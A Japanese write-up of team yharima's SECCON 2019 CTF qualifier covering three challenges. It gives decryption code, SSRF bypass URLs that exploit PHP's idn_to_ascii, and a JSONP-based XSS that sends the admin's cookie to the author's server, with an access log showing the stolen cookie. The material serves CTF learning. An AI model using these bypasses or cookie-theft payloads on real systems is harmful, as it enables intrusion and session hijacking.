SECCON 2019 予選 write up

チーム「yharima」で SECCON 2019 CTF の予選に参加していた。1954点、45位だった。

coffee_break

暗号化スクリプトと、暗号文がおいてある。鍵も置いてあるので、読みながら順番に元に戻すコードを書いて復元する。

import sys
from Crypto.Cipher import AES
import base64


def encrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) + (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
    return s

def decrypt(key, text):
    s = ''
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20) + (0x7e-0x20+1)) % (0x7e - 0x20 + 1)) + 0x20)

    return s


key1 = "SECCON"
key2 = "seccon2019"
#text = sys.argv[1]

#enc1 = encrypt(key1, text)
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
#p = 16 - (len(enc1) % 16)
#enc2 = cipher.encrypt(enc1 + chr(p) * p)
#print(base64.b64encode(enc2).decode('ascii'))

crypted='FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905'
crypt_raw=base64.b64decode(crypted)
enc1 = cipher.decrypt(crypt_raw)

enc1 = enc1[:-5]

print decrypt(key1, enc1)

SECCON{Success_Decryption_Yeah_Yeah_SECCON}

Option-Cmd-U

繋ぐと、指定した URL に接続し、取得した HTML を表示してくれる。ソースコードも公開されている。フラグは /flag.php にあるが、こちらは内部ネットワークからしか見れないとのこと。Docker で構成され、 http://nginx/ に繋げばよさそうな雰囲気が漂っているが、 IP アドレス確認で nginx と一致するとはじかれる仕様になっている。

当該ソースコードには、以下のような部分があった。

                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false,
                                                                       'timeout' => 2
                                                                   )
                                                               ))));
                        }

ここで、 idn_to_ascii という処理を挟んでいるが、ドメイン部をチェックする部分まではよかったものの、その後 file_get_contents で中身を取得する際に URL 全体に対してこの処理をかけてしまっていることに気付く。/や:も生き残るようなので、「正しく URL を解釈した場合にはホスト名が nginx にならず」「URL 全体を idn_to_ascii してしまったら、 nginx につながる URL になる」ような URL を渡すことになる。

全角文字をつけると、ピリオドで区切られた範囲で最初に xn-- が、最後に全角文字を変換した文字が入るので、 http://a:.b@あnginx/ などとするとxn-- は @ の前のパスワード部に、全角文字を変換したものは / のあとになるので、ホスト名をだますことまではできたが、 flag.php のピリオドが邪魔でなかなかうまくいかなかった。

試行錯誤の結果 http://a:hb.@¡nginx:80./flag.php が http://a:hb.xn--@nginx:80-qja./flag.php に変換させるところまではいけたが、 PHP の file_get_contents はポート番号は先頭が数字ならそこだけ解釈するものの、 5 文字以下でないと形式として認識しないようで、うまくいっていなかった。( ¡ は調べた限り idn_to_ascii が返還対象にする中では一番若い Unicode 番号を持っており、これ以上の短縮は厳しいように思えた)

これをチャットに貼ってしばらく悩んでいたところ、チームメンバーが http://a:.@✊nginx:80.:/flag.php なら通るということに気付き、フラグが得たようだ。変換後は http://a:.xn--@nginx:80-5s4f.:/flag.php となり、ポート番号らしき箇所が二つあるが、 PHP はそういうことは気にしないようだ。

SECCON{what_a_easy_bypass_314208thg0n423g}

SPA

過去の SECCON のフラグの一覧が表示され、 2019 年の物に関しては SPA の項目だけあるがフラグが「??????」が震えている表示になるページが表示された。そして、 admin への report 機能がついており、ここに URL を入れると(たとえ外部 URL であっても)admin からヘッドレスブラウザでアクセスが来るようだった。

中を見るとVue で構成されており、# 以下の fragment 部分で切り替わるようになっていた。this.contest = await $.getJSON(`/${contestId}.json`) のようにデータを読み込んでおり、 contestId は fragment のため、ここを書き換えることで外部サーバも含め好きな json にアクセスさせることはできた(例えば http://spa.chal.seccon.jp:18364/#/example.com/a を reportすると、コンテスト情報取得で http://example.com/a.json につなぎにくる)。アクセスを受ける側で Access-Control-Allow-Origin を指定すると、 JSON に書かれた好きな内容を表示させられた。

ただし、基本的には Vue の機能でテンプレートを構成しているので、表示をおかしくすることはできても XSS には至らなかった。他に何かないのかと思い、怪しい部分に近い jQuery の getJSON のドキュメントを見てみると、 “callback=?” が URL に含まれる場合には JSONP として解釈する、といったことが書かれていた。

ということで、 http://spa.chal.seccon.jp:18364/#/example.com/a.js?callback=?& にアクセスさせることで、 js ファイルに書かれた好きな内容を admin に実行させることができた。最初は admin には今年のフラグが見えるのかと思って今年のフラグを遅らせたら null のままで、ならまず管理画面を見られるか試そうと思い document.cookie を送らせたら次のようなリクエストが来たので、 Cookie の中身がフラグだった(”自分のサーバ/a/” + document.cookie にリダイレクトした)。

153.120.128.21 - - [20/Oct/2019:03:33:39 +0900] "GET /a/flag=SECCON%7BDid_you_find_your_favorite_flag?_Me?_OK_take_me_now_:)} HTTP/1.1" 404 209 "http://spa.chal.seccon.jp:18364/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3941.4 Safari/537.36"

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